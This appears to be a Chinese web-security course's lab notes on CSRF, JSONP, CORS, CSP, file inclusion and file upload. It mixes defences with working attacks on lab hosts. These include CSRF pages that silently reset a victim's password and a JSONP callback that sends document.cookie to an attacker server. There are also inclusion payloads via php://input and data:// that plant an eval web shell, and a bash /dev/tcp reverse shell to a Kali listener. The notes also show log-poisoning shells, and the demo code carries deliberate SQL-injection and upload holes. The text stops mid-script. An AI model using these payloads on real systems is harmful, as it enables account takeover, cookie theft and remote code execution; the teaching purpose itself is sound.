①CSRF跨站请求伪造
一、概述:
csrf: cross site request forgrey 跨站请求伪造。当攻击者不能通过常用的手段获取cookie时候,可以通过伪造请求方式,让受害者自己点击链接触发服务器数据修改操作。由于请求是从受害者自己浏览器发送。所以,服务器会收到与该浏览器绑定的sessionid,一般用户点击后,攻击就完成了,有时候CSRF也称为一次性攻击。
二、CSRF利用前提
1、用户需要登录目标系统
2、用户需要使用登录系统的浏览器打开CSRF攻击的链接地址
三、简单的攻击页面
这个html页面放在黑客的服务器上
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>美女图片</title>
</head>
<body>
<a href="https://www.lyg50.com/mm">
<img src="0.jpg" width="500px">
</a>
</body>
<script src="http://192.168.214.128/hz02/posts/resetpasswd.php?passwd=111&confirmpasswd=111"></script>
</html>
把页面的链接地址,发给用户,想办法让用户去点击
在用户打开页面的一瞬间,程序发了一个请求,去修改密码
四、利用Burp生成CSRF Poc页面
使用firefox浏览器请求修改密码的页面,并且打开burp,让burp拦截修改密码请求
当burp拦截到请求后,鼠标右键空白处,选择Generate CSRF Poc,
会生成一个html页面的代码,这个页面很丑陋,需要自己美化
利用生成的html代码,创建一个html页面,放在黑客服务器上,并且把链接地址发给受害用户点击
五、防御
1、验证请求头Referer
设置白名单,只有在白名单列表中的才可以
以下是resetpasswd.php的代码,增加了验证refer部分
<?php
// 开启session
session_start();
$refer = $_SERVER['HTTP_REFERER'];
if(!stripos($refer,"192.168.214.128")){
die('非法请求');
}
//文件包含
include 'dbinfo.php';
//$_REQUEST既可以接收post方法的请求也可以接受get方法的请求
$pass = $_REQUEST['passwd'];
// 从session中获取用户名
$username = $_SESSION['username'];
$sql = "update tb_user set passwd='$pass' where username='$username'";
$result = mysqli_query($conn,$sql);
if($result){
echo "update success";
}else{
echo "update fail";
}
mysqli_close($conn);
?>
这种方案很容易会被绕过
黑客构造的html页面的文件名中带有白名单的域名或ip地址,例如把美女图片的html页面的名字修改为
192.168.214.128girl01.html,那么在检测refer的时候,这个文件名中包含192.168.214.128
2、增加token验证
在resetpassword.html页面的form里增加一个隐藏的token
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>修改密码</title>
</head>
<body>
<form action="resetpasswd.php">
<input type="hidden" name="token" value="E5068ED7B755AF430CA35DEA14FAC1BE">
<p>新密码:<input type="password" name="passwd"></p>
<p>确认密码:<input type="password" name="confirmpasswd"></p>
<p><input type="submit" value="修改密码"></p>
</form>
</body>
</html>
在resetpasswd.php中检查浏览器提交的这个token的值
<?php
// 开启session
session_start();
// 获取token
$token = $_REQUEST['token'];
//验证token
if($token!='E5068ED7B755AF430CA35DEA14FAC1BE'){
die('非法请求');
}
//文件包含
include 'dbinfo.php';
//$_REQUEST既可以接收post方法的请求也可以接受get方法的请求
$pass = $_REQUEST['passwd'];
// 从session中获取用户名
$username = $_SESSION['username'];
$sql = "update tb_user set passwd='$pass' where username='$username'";
$result = mysqli_query($conn,$sql);
if($result){
echo "update success";
}else{
echo "update fail";
}
mysqli_close($conn);
?>
此时,黑客的html链接即使用户点击也无法修改密码
但是,黑客可以把用户的这个固定的token值,加到自己制作的页面中
代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>美女图片</title>
</head>
<body>
<a href="https://www.lyg50.com/mm">
<img src="0.jpg" width="500px">
</a>
</body>
<script src="http://192.168.214.128/hz02/posts/resetpasswd.php?passwd=111&confirmpasswd=111&token=E5068ED7B755AF430CA35DEA14FAC1BE"></script>
</html>
此时,黑客制作的网页只要被用户访问,就能够修改用户的密码了
3、动态生成token
防御CSRF攻击
先写一个generatetoken.php程序,动态生成token,上传到靶机
<?php
session_start();
//生成一个随机的字符串
$token = md5(md5("token".time().rand(1,10000)));
//把token放入session
$_SESSION['token'] = $token;
echo $token;
?>
在resetpasswd.html中增加js代码,使用jquery,每次页面刷新时,请求generatetoken.php获取一个新的token,并且放在页面的隐藏字段中
<input type="hidden" name="token" id="token" value="0">
resetpasswd.html代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>修改密码</title>
<script src="jquery1.7.2.min.js"></script>
</head>
<body>
<form action="resetpasswd.php">
<input type="hidden" name="token" id="token" value="0">
<p>新密码:<input type="password" name="passwd"></p>
<p>确认密码:<input type="password" name="confirmpasswd"></p>
<p><input type="submit" value="修改密码"></p>
</form>
</body>
<script>
//向服务器发请求,申请一个新的token
$.get('generatetoken.php',function(res){
console.log(res);
document.getElementById("token").value = res;
})
</script>
</html>
resetpasswd.php修改一下,验证session中保存的token是否和页面请求带来的token一致
<?php
// 开启session
session_start();
// 获取页面传入的token
$token = $_REQUEST['token'];
//从session中获取服务端生成的token
$tokeninsess = $_SESSION['token'];
if($tokeninsess!=$token){
die('非法请求');
}
//验证通过后,删除session中的token
unset($_SESSION['token']);
//文件包含
include 'dbinfo.php';
//$_REQUEST既可以接收post方法的请求也可以接受get方法的请求
$pass = $_REQUEST['passwd'];
// 从session中获取用户名
$username = $_SESSION['username'];
$sql = "update tb_user set passwd='$pass' where username='$username'";
$result = mysqli_query($conn,$sql);
if($result){
echo "update success";
}else{
echo "update fail";
}
mysqli_close($conn);
?>
由于黑客无法预测token的下一个值是多少,因此,无法预先构造一个带有token的链接。因此可以防止CSRF攻击
但是,如果黑客通过其他手段能够上传html文件到受害者的服务器,那么这种动态token也可能会被绕过
加入黑客把下面这个getdynamictoken.html上传到了受害者的服务器,并且受害者不小心打开这个网页,而且点击了超链接,那么受害者的密码也会被修改到,因为,在这个页面里,黑客模拟了正常的程序,从服务端用ajax获取到了动态产生的token,并且拼接到了修改密码的url后面。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="jquery1.7.2.min.js"></script>
</head>
<body>
<a id="t" href="http://192.168.214.128/hz02/posts/resetpasswd.php?passwd=111&confirmpasswd=111&token=">
<img src="0.jpg" width="500px"> 约吗???</a>
</body>
<script>
$.get('generatetoken.php',function(res){
console.log(res);
document.getElementById("t").href = document.getElementById("t").href+res;
})
</script>
</html>
六、CSRF和XSS总结
- XSS:
1、如何寻找漏洞
白盒测试:在代码中查询input关键字
黑盒测试:打开页面寻找可以输入的点
2、确定目标用户
我们需要确定被攻击的目标用户是哪些,因为需要把攻击链接发给目标用户点击。
3、把攻击链接地址发给目标用户
社工,邮件
4、三种xss类型的选择
优先用存储型,然后在尝试dom和反射型
- CSRF:
1、如何寻找漏洞
白盒测试:查看一些更新操作,是否对请求头referer进行限制
黑盒测试:找到页面中的更新点
2、更新的前提
-
前置工作:先研究一下系统,获取到更新操作的url以及参数
-
修改上一步的参数,完成伪造的请求url
-
如果是post提交,必须伪造页面
-
用户必须是登录状态
-
用户必须使用登录的浏览器来请求伪造的链接
3、防御:
- 避免交叉漏洞
- 严格检查请求头中的referer
- 二次校验:针对所有数据修改,需要提交原密码
②跨域访问
一、跨域访问场景
多个系统集成在一起的时候,浏览器需要从多个不同域名的子系统中来获取数据,这就需要跨域访问数据。
二、什么是跨域
URL地址的组成:
http://www.woniuxy.com:9900/index.html
1、协议:http
2、域名或ip地址www.woniuxy.com
3、端口号:9900
以上三个部分组合在一起叫 “域”
两个url中以上三项中任何一项不同,就是不相同的域。
以下这两个是相同的域
http://192.168.214.128/hz02/posts/getdynamictoken.html
http://192.168.214.128/hz02/posts/generatetoken.php
以下这两个是不同的域
http://localhost:9999
http://127.0.0.1:9999
三、同源策略
1、注意同源策略是浏览器上的安全策略
2、在浏览器上使用ajax发请求,才会受到同源策略的限制
会遇到这种报错:
四、不受到同源策略限制的标签
<script src="">
<link rel="stylesheet" href="">
<iframe src="">
<img src="">
<a href="">
五、JSONP跨域
html代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>测试JSONP跨域访问</h1>
</body>
<script>
function getTime(servertime){
console.log('server time',servertime);
}
</script>
<script>
// var dt = new Date();//在javascript中创建日期对象
// getTime(dt);//执行函数
// getTime('2024-3-19 10:53:24')//服务端拼接成调用函数的形式
</script>
<script src="http://192.168.110.128/hz02/posts/jsonp/gettime.php?callback=getTime"></script>
</html>
服务端代码gettime.php:
<?php
date_default_timezone_set("PRC");//设置中国时区
$curtime = date('Y-m-d H:i:s');
$method = $_GET['callback'];
echo "$method('$curtime')";
//最后返回的是这种形式
//getTime('2024-3-19 10:53:24')
?>
JSONP跨域过程:
1、原理:利用script标签不受同源策略限制
2、先在html页面上定义好一个getTime(servertime),功能自己定义
3、利用script标签去请求另一个服务器的后端的接口,并且把html中定义好的函数名称getTime当做参数的值传过去,此处参数名称callback可以自己定义成其他的
<script src="http://192.168.110.128/hz02/posts/jsonp/gettime.php?callback=getTime">
4、当服务端代码获取到参数callback的值的时候,也就是getTime,会放入 m e t h o d 变量中,在把 method变量中,在把 method变量中,在把curtime和$method拼接成一个函数调用的形式:getTime(‘2024-3-19 10:53:24’) 这个字符串就返回给了浏览器
5、当浏览器收到这个返回的时候,因为是在script标签中,浏览器就会认为这是在调用一个定义好的getTime的函数,所以浏览器就执行了这个函数,并且把’2024-3-19 10:53:24’传入函数
六、使用JSONP返回数据
html代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>测试JSONP跨域访问</h1>
</body>
<script>
//定一个一个获取人的列表的方法
function getPersons(data){
console.log(data);
//把json字符串转换成浏览器可以使用的json对象
//json字符串的样子:[{"name":"zhangsan","age":19},{"name":"lisi","age":20},{"name":"wangwu","age":23}]
personList = JSON.parse(data);
//循环每个对象,打印name和age
for(i=0;i<personList.length;i++){
person = personList[i];
console.log("name=",person["name"],":age=",person["age"])
}
}
</script>
<script src="http://192.168.110.128/hz02/posts/jsonp/getpersons.php?cb=getPersons"></script>
</html>
服务端的程序getpersons.php
<?php
$persons=[
["name"=>"zhangsan","age"=>19],
["name"=>"lisi","age"=>20],
["name"=>"wangwu","age"=>23]
];
$method = $_GET['cb'];
$str = json_encode($persons);
echo "$method('$str')"
?>
七、使用JSONP漏洞获取用户Cookie
这个代码写在黑客服务器上php代码:reccookie.php,用来接收受害者的cookie
<?php
$cookie = $_GET['ucookie'];
file_put_contents('./cookies.txt',$cookie);
?>
受害者服务器上的html代码:
注意:callback的参数值,我们又构造了一个Image对象,并且给它的属性值src一个地址,就是黑客服务器的地址,因此,这里会把用户当前的cookie获取出来,并且发给黑客的程序接收。
注意document.cookie前面的加号是用%2b编码来表示的。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>利用jsonp的漏洞获取用户的cookie</title>
</head>
<body>
<h1>利用jsonp的漏洞获取用户的cookie</h1>
</body>
<script src="http://192.168.110.128/hz02/posts/jsonp/gettime.php?callback=new Image().src='http://192.168.110.129/jsonp/reccookie.php?ucookie='%2bdocument.cookie//"></script>
</html>
受害者服务器上的php程序gettime.php
<?php
date_default_timezone_set("PRC");//设置中国时区
$curtime = date('Y-m-d H:i:s');
$method = $_GET['callback'];
echo "$method('$curtime')";
//最后返回的是这种形式
//getTime('2024-3-19 10:53:24')
?>
八、jquery封装jsonp
服务端代码
<?php
$jsonstr = "abcdefeefe";
$method = $_GET['callback'];
echo "$method('$jsonstr')";
?>
html代码
1、注意:需要引入jquery
2、$.getJSON方法调用时候,url后面带的callback的参数的值用?表示
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="jquery1.7.2.min.js"></script>
</head>
<body>
这是要动态获取的数据:<div id="t"></div>
</body>
<script>
$.getJSON("http://192.168.110.128/hz02/posts/jsonp/getjson.php?callback=?",function(data){
document.getElementById("t").innerText=data;
});
</script>
</html>
九、JSONP漏洞防御
1、前端不要传回调函数的名字给后端,直接约定好【这个防御手段虽然有点麻烦,但是有效果】
2、后端检查Referer请求头,必须是约定好的服务器的地址
3、严格显示callback函数名称里的恶意单词,例如cookie,alert等等
4、严格限制callback函数名称的长度
5、使用htmlspecialchars、addslashes函数转义
十、CORS
1、概念
CORS,全称Cross-Origin Resource Sharing [1] ,是一种允许当前域(domain)的资源(比如html/js/web service)被其他域(domain)的脚本请求访问的机制,通常由于同域安全策略(the same-origin security policy)浏览器会禁止这种跨域请求。
2、解决方案
服务器给浏览器发响应头
header(key: value)
1、允许哪些域来请求服务器的资源
header("Access-Control-Allow-Origin: * ")//* 代表所有域名都可以来请求,不推荐这样配置
header("Access-Control-Allow-Origin: http://192.168.201.147") //允许从http://192.168.201.147发来的请求
2、允许使用哪些方法请求
header("Access-Control-Allow-Method: *")//* 代表允许所有请求的方法
header("Access-Control-Allow-Method: GET,POST")//只允许GET和POST请求
3、允许携带哪些请求头过来
header("Access-Control-Allow-Headers: *");
4、是否允许携带Cookie
header("Access-Control-Allow-Credentials: true");
html代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="jquery1.7.2.min.js"></script>
</head>
<body>
<h1>测试Cors跨域访问</h1>
</body>
<script>
$.get("http://192.168.110.128/hz02/posts/cors/test1.php",function(data){
alert(data)
})
</script>
</html>
服务端代码:
<?php
echo "abcd";
?>
如果服务器端没有配置任何响应头,浏览器会的到这样报错
如果服务端程序配置了响应头,那么浏览器会收到这样的响应头,就不会阻止ajax获取服务器的响应内容
此时的服务器端代码:
<?
header("Access-Control-Allow-Origin:*");//允许所有的域名访问
echo "abcd";
?>
服务端设置Origin请求白名单:
代码:
<?php
//定义一个允许请求的白名单
$arr = ["http://127.0.0.1","http://localhost","http://192.168.201.147"];
//从超全局变量$_SERVER获取origin
$origin = $_SERVER['HTTP_ORIGIN'];
//对比浏览器传来的origin是否在白名单中
if(in_array($origin ,$arr)){
header("Access-Control-Allow-Origin: $origin");
}
echo "aaaaaaaaa";
?>
注意:http://127.0.0.1和http://localhost不是相同的域。
3、CORS跨域原理
- 当ajax发请求给服务端的时候, 会有一个特殊的请求头Origin会带上当前页面的域信息
Origin: http://192.168.3.67
- 服务端收到请求后,会判断当前Origin所带的域信息,是否允许访问当前网站
- 如果允许,那么在响应头中增加一个Access-Control-Allow-Origin,带着域信息
- 浏览器收到这个响应头,知道当前服务器接收跨域访问请求
- 如果服务端没有返回Access-Control-Allow-Origin,那么浏览器会阻止响应的数据展示在页面
4、预检请求
(1)简单请求(需同时满足以下条件)不会触发预检请求
- 请求方法是以下三种之一:GET、HEAD、POST
- HTTP的头信息不超出以下几种字段:Accept、Accept-Language、Content-Language、Last-Event-ID、Content-Type
- Content-Type的值仅限于以下三种:text\plain、multipart/form-data、application/x-www-form-urlencoded
(2)非简单请求:(凡不同时满足上面两个条件,就属于非简单请求)会触发浏览器发生预检请求,这是浏览器的行为。“预检请求”的使用,可以避免跨域请求对服务器的用户数据产生未预期的影响。
CORS规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 GET 以外的 HTTP 请求,或者搭配某些 MIME 类型的 POST 请求),浏览器必须首先使用 OPTIONS 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨域请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 Cookies 和 HTTP 认证相关数据)
html代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="jquery1.7.2.min.js"></script>
</head>
<body>
<h1>测试Cors带预检请求的跨域访问</h1>
</body>
<script>
$.ajax({
url:"http://192.168.110.128/hz02/posts/cors/test1.php",
method:"POST",
headers:{
//请求头为aa
"aa":"zhangsan"
},
success:function(data){
alert("success:"+data)
}
})
</script>
</html>
服务端代码:
<?php
//定义一个允许请求的白名单
$arr = ["http://127.0.0.1","http://192.168.201.147"];
//从超全局变量$_SERVER获取origin
$origin = $_SERVER['HTTP_ORIGIN'];
//对比浏览器传来的origin是否在白名单中
if(in_array($origin ,$arr)){
header("Access-Control-Allow-Origin: $origin");//允许白名单的域
header("Access-Control-Allow-Method: *");//允许所有请求方法
header("Access-Control-Allow-Headers: *");//允许所有请求头
header("Access-Control-Allow-Credentials: true");//允许携带cookie
}
echo "aaaaaaaaa";
?>
十一、CSP内容安全策略
全称:Content Security Policy
提高站点中所有资源的安全性。XSS的核心目的就是攻击浏览器,获取用户的cookie信息,从而拿到用户的信息。CSP中有一部分安全策略可以防御XSS获取用户的cookie以及执行恶意代码。因此CSP主要解决浏览器资源安全问题,其中就包含html,css,js,多媒体。我们这里主要是针对js进行防护。
CSP核心就是用白名单方式,开发者明确告知浏览器哪些资源外部可以加载和执行,实现和执行全部是浏览器来做,开发者只需要正确配置即可。
1、通过配置CSP只允许从白名单的网站加载javascript
(1) 在内容展示php页面或者html页面,添加csp:
<?php
session_start();
//ini_set("session.cookie_httponly",1);
header("Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ");
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSP演示</title>
<script src="http://192.168.88.129/testcsp.js"></script>
<script src="testcsp.js"></script>
</head>
<body>
<button οnclick="show()">点击一下</button>
<button οnclick="showalert()">执行文件中的方法</button>
<button οnclick="alertmessage()">执行文件中的方法</button>
<img src="0.jpg" width="430">
</body>
<script>
function show(){
alert(document.cookie)
result = eval('1+2')
console.log(result)
}
</script>
</html>
如果仅仅是在html页面增加限制策略,可以把下面这配置放在html的head标签内部
<meta http-equiv=“Content-Security-Policy” content="script-src 'self'">
(2) 其他配置:
script-src 'self' http://www.woniunote.com *.jd.com 'unsafe-inline'对于脚本:只信任当前域名自己和http://www.woniunote.com 还有就是*.jd.com这样的网站,'unsafe-inline'是指内嵌在页面中<script></script>标签内的js脚本
img-src 对于图片,允许从哪些来源加载 'none'表示不允许从任何url加载,'self'只信任当前域名
object-src 'none',对于<object>标签:不信任任何URL,即不加载任何资源
style-src 对于样式表,允许从哪些来源加载
child-src https,对于框架(iframe):必须使用HTTPS协议加载,注意冒号是https协议的一部分
unsafe-eval 允许把字符串当做代码来执行,例如eval,setTimeout,setInterval
nonce 每次响应头中给出一个随机值,例如:nonce-12345,当内嵌的script脚本包含这个值,才能执行
hash 列出允许执行的代码的hash值,页面内嵌脚本的hash值必须吻合,才能被执行
default-src 'self'; report-uri http://192.168.81.128/getreport.php 只允许从当前域名加载资源文件,并且一旦有违反,会向report-uri后面指定的地址发送报告
default-src 'self'; script-src 'self' https://example.com; img-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self' https://example.com;
default-src: 定义针对所有类型(js/image/css/font/ajax/iframe/多媒体等)资源的默认加载策略,如果某类型资源没有单独定义策略,就使用默认的。
2、添加全局安全策略:
在httpd.conf文件中,添加安全策略及报告uri:
Header set Content-Security-Policy "default-src 'self' 'unsafe-inline' http://192.168.81.128;report-uri http://192.168.81.129/csp/receivereport.php"
在192.168.88.129上准备一个接受报告的php程序receivereport.php
代码如下:注意这个php文件所在的目录,需要放开所有用户的写权限,否则无法写入报告的文件
<?php
$data = file_get_contents("php://input");//php的伪协议
$f = fopen('cspreport.txt',"a");//这一行要注意,cspreport.txt所在的文件夹要有些权限
$json = json_decode($data,true);
fwrite($f,date("y-m-d h:i:s \r\n"));
fwrite($f,"-----------------------------------------------------------------------------------------------------------\r\n");
foreach($json['csp-report'] as $key=>$val){
fwrite($f,"$key:$val \r\n");
}
fwrite($f,"-------------------------------------------------------------------------------------------------\r\n\r\n\r\n");
fclose($f);
?>
十二、禁止js获取cookie
如何 禁止:document.cookie : js获取用户cookie
(1) 全局设置:在php.ini配置文件中,将 session.cookie_httponly的值改为On.重启apache服务。
(2) 局部设置:在需要禁用js获取cookie页面上添加ini_set();
<?php
ini_set("session.cookie_httponly",1);
?>
③文件包含
一、文件包含的函数
include
include_once //自动过滤重复的引用
require
require_once
二、文件包含代码样例
文件名:test.php
==============
<?php
$f = $_GET['fc'];
include $f;
?>
在test.php相同的目录里面再创建一个文件a.txt,内容是:
111
访问上面的test.php
http://192.168.88.128/hz02/posts/include/test.php?fc=a.txt
会把a.txt的内容全部显示出来
三、文件包含应用场景
1、企业里面需要快速发布新的功能
2、一些开源框架,需要动态加载第三方提供的插件功能
代码样例:
index.php负责显示动态产生的标签,
注意此文件中包含了dbinfo.php,是数据库的连接信息
<?php
include 'dbinfo.php';
$sql = "select label,filename from tb_files";
$result = mysqli_query($conn,$sql);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
ul {
list-style-type: none;
padding: 0; /* 去除默认的padding */
margin: 0; /* 去除默认的margin */
}
ul li {
display: inline-block;
margin-right: 10px; /* 设置间距 */
}
</style>
<script>
function show(inf){
document.getElementById("infile").value=inf;
document.forms[0].submit();
// console.log(document.forms[0]);
}
</script>
</head>
<body>
<ul>
<?php
while($rows = mysqli_fetch_assoc($result)){
?>
<li><a href=javascript:show("<?=$rows['filename']?>")><?=$rows['label']?></a></li>
<?php
}
?>
</ul>
<div id="content">
<?php
$infilename = @$_GET['infile'];
if(isset($infilename)){
include $infilename;
}
?>
</div>
<form id="su">
<input type="hidden" name="infile" id="infile">
</form>
</body>
</html>
<?php
mysqli_close($conn);
?>
pushfile.php
注意:把这个文件所在的目录的其他人的写权限开放否则无法上传文件
<?php
$submit = @$_POST['submit'];
if(isset($submit)){
$label = $_POST['label'];
$filename = $_FILES['phpfile']['name'];
$tmpfile = $_FILES['phpfile']['tmp_name'];
move_uploaded_file($tmpfile,$filename);
include 'dbinfo.php';
mysqli_set_charset($conn,'utf8');
$sql = "insert into tb_files(label,filename)
values ('$label','$filename') ";
$result = mysqli_query($conn,$sql);
if($result){
echo "success";
}else{
echo "fail";
}
mysqli_close($conn);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件发布</title>
</head>
<body>
<form action="pushfile.php" method="post" enctype="multipart/form-data">
<p>标签名:<input type="text" name="label"></p>
<p>文件:<input type="file" name="phpfile"></p>
<p><input type="submit" name="submit"></p>
</form>
</body>
</html>
四、文件包含种类
1、本地文件包含
//读取存在文件包含漏洞的服务器上的文件
http://192.168.88.128/hz02/posts/include/test.php?fc=/etc/passwd
http://192.168.88.128/hz02/posts/include/test.php?fc=0.jpg
http://192.168.88.128/hz02/posts/include/test.php?fc=abd.php //(本地包含php只能看到php执行结果)
http://192.168.88.128/hz02/posts/include/test.php?fc=abd.php&name=zhangsan //(如果被包含的php还需要参数,那么在url中使用&连接)
2、远程文件包含
首先需要/opt/lampp/etc/php.ini文件中打开两个配置项,修改好配置,要重启
/opt/lampp/xampp restart
allow_url_fopen=On
allow_url_include=On //这个如果不打开,远程文件无法包含
远程包含另一个服务器的文件
http://192.168.88.128/hz02/posts/include/test.php?fc=http://192.168.88.129/csp/tinclude.txt //(读取另一个服务器上的文本文件)
http://192.168.88.128/hz02/posts/include/test.php?fc=http://192.168.88.129/csp/testinclude.php //(包含远程服务器的php文件,那么php文件会先在远程服务器执行,然后把结果返回并包含进来)
http://192.168.88.128/hz02/posts/include/test.php?fc=http://192.168.88.129/csp/testinclude.php?name=zhangsan%26age=19 //(当远程服务器上的php需要参数的时候,用?连接,如果有多个参数,那么参数之间要使用%26来连接)
如果遇到下面的报错,说明服务器禁止远程包含
五、伪协议
1、php://input全文作为php读取
这个协议把请求体中所有内容作为整体,全部读取
<?php
$data = file_get_contents("php://input");
echo $data;
?>
可以使用POST方法,传入大量的文本,不需要参数名。
===========
文件包含的代码test.php:
<?php
$f = $_GET['fc'];
include $f;
?>
请求上面这个test.php读取任意文件
http://192.168.88.128/include/test1.php?fc=php://input
payload:使用POST方法传入
<?php echo file_get_contents('/etc/passwd'); ?>
请求test.php文件,写入一句话木马
http://192.168.88.128/include/test1.php?fc=php://input
payload:使用POST方法传入
<?php file_put_contents("/opt/lampp/htdocs/img/muma.php","<?php eval($"."_"."POST[a]);?>");?>
2、php://filter以base64的格式
以base64的格式显示输出,可以获取php文件的源代码,php代码不会被执行。
注意:返回的php源码被使用base64转码,需要再一次转回成普通编码格式才能阅读
读取php文件的源码
http://192.168.88.128/include/test1.php?fc=php://filter/read=convert.base64-encode/resource=/opt/lampp/htdocs/hz02/posts/dbinfo.php
但是读到的结果需要用base64转码才能看到原文
读取图片文件
http://192.168.88.128/include/test1.php?fc=php://filter/read=convert.base64-encode/resource=/opt/lampp/htdocs/hz02/posts/0.jpg
3、phar:// 读取压缩文件中的文件
压缩文件a.zip里面有个a.txt,通过下面的方式直接可以访问到a.txt内容
http://192.168.88.128/include/test1.php?fc=phar:///opt/lampp/htdocs/hz02/posts/include/a.zip/a.txt
压缩文件b.zip里面有两层目录dir1/dir2,在dir2里有b.txt,phar协议可以访问压缩文件b.zip中多级目录下的文件
http://192.168.88.128/include/test1.php?fc=phar:///opt/lampp/htdocs/hz02/posts/include/b.zip/dir1/dir2/b.txt
注意:压缩文件生成以后,可以任意修改扩展名,此时我们把扩展名修改成jpg,还是可以读取到
http://192.168.88.128/include/test1.php?fc=phar:///opt/lampp/htdocs/hz02/posts/include/b.jpg/dir1/dir2/b.txt
4、zip:// 读取压缩文件中的文件
1)zip只能读取压缩文件中的第一层目录中的文件,不能有多级目录
2)压缩文件和真正的文件之间要用%23分隔,不能/
http://192.168.88.128/include/test1.php?fc=zip:///opt/lampp/htdocs/hz02/posts/include/a.zip%23a.txt
5、data:// 接收get请求
能把用户输入的展示在页面上
把用户输入的hello展示出来
http://192.168.88.128/include/test1.php?fc=data://text/plain,hello
可以执行php代码,并显示
http://192.168.88.128/include/test1.php?fc=data://text/plain,<?php phpinfo();?>
可以写入一句话木马
http://192.168.88.128/include/test1.php?fc=data://text/plain,<?php file_put_contents("/opt/lampp/htdocs/hz02/posts/data/muma.php","<?php eval($"."_"."POST[a]);?>");?>
========
执行反弹shell
http://192.168.88.128/include/test1.php?fc=data://text/plain,<?php system("bash -i >%26 /dev/tcp/192.168.88.130/4444 0>%261"); ?>
具体如何操作:
1)开启kali,注意这里我的kali的ip地址是192.168.88.130,要根据自己的ip替换下面命令中的ip
并执行
nc -lvp 4444
2)在浏览器上执行
http://192.168.88.128/include/test1.php?fc=data://text/plain,<?php system("bash -i >%26 /dev/tcp/192.168.88.130/4444 0>%261"); ?>
3)在kali的控制台上就能执行命令,实际就是在被害者机器上执行
六、各种日志包含
1、apache日志
(1)通过正常的访问php文件,带上一句话木马参数,让apache写入到/opt/lampp/logs/access_log
192.168.88.1 - - [20/Mar/2024:16:56:17 +0800] "GET /include/test1.php?fc=<?php eval($_POST[a]);?>" 400 964
(2)访问文件包含的php,把apache的日志作为被包含的参数,因为日志文件里的一句话木马需要一个参数a,那么我们用POST的方式传一个参数给a,如下图
http://192.168.88.128/include/test1.php?fc=/opt/lampp/logs/access_log&
2、mysql日志包含
前提:需要mysql打开日志
1.开启方式:/opt/lampp/etc/my.cnf或my.ini 添加三个参数
log-output=FILE
general-log=1
general_log_file=xxxx.log
修改好配置,重启mysql
执行sql语句
select '<?php phpinfo();?>' from tb_files;
会把<?php phpinfo();?>写入到日志文件
访问
http://192.168.88.128/include/test1.php?fc=/tmp/mysql.log
就能执行phpinfo(),
注意:mysql的日志文件基本不会开放给其他用户读取,所以,一般这种方式不行。
3、ssh登录日志包含
(1)使用ssh登录受害者主机,用户名使用一句话木马
ssh '<?php eval($_POST[code]);?>'@192.168.32.128
这样就会在受害者机器上的ssh日志文件写入一句话木马
访问文件包含的php,注意传入给日志文件参数名是code
http://192.168.88.128/include/test1.php?fc=/var/log/secure&
④文件上传
一、文件上传场景
1、用户资料
需要上传用户的头像,属于图片上传
2、企业内部系统
企业内部的数据导入功能
3、商品图片上传
二、危害
getshell,获取系统资源,例如拖库。
三、文件上传代码
html代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传</title>
</head>
<body>
<h1>文件上传</h1>
<form action="uploadfiles.php" id="fm" method="post" enctype="multipart/form-data">
<p><input type="file" name="f"></p>
<p><input type="button" value="上传" name="btn_smt" onclick="upload()"></p>
</form>
</body>
<script>
function upload(){
fm = document.getElementById("fm");
fm.submit();
}
</script>
</html>
php代码
<?php
$tmp = $_FILES['f']['tmp_name'];
$name = $_FILES['f']['name'];
move_uploaded_file($tmp,"/opt/lampp/htdocs/uploadfiles/".$name);
?>
四、文件上传防御和绕过
1.前端验证
上面的上传代码对文件没有做任何限制
可以从前端js限制用户上传的文件类型,如果不在文件类型的白名单中,拒绝上传
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传</title>
</head>
<body>
<h1>文件上传</h1>
<form action="uploadfiles.php" id="fm" method="post" enctype="multipart/form-data">
<p><input type="file" name="f" id="f"></p>
<p><input type="button" value="上传" name="btn_smt" onclick="upload()"></p>
</form>
</body>
<script>
function upload(){
//对文件类型做检查
f = document.getElementById("f");
index = f.value.lastIndexOf(".");
ext = f.value.substr(index+1);
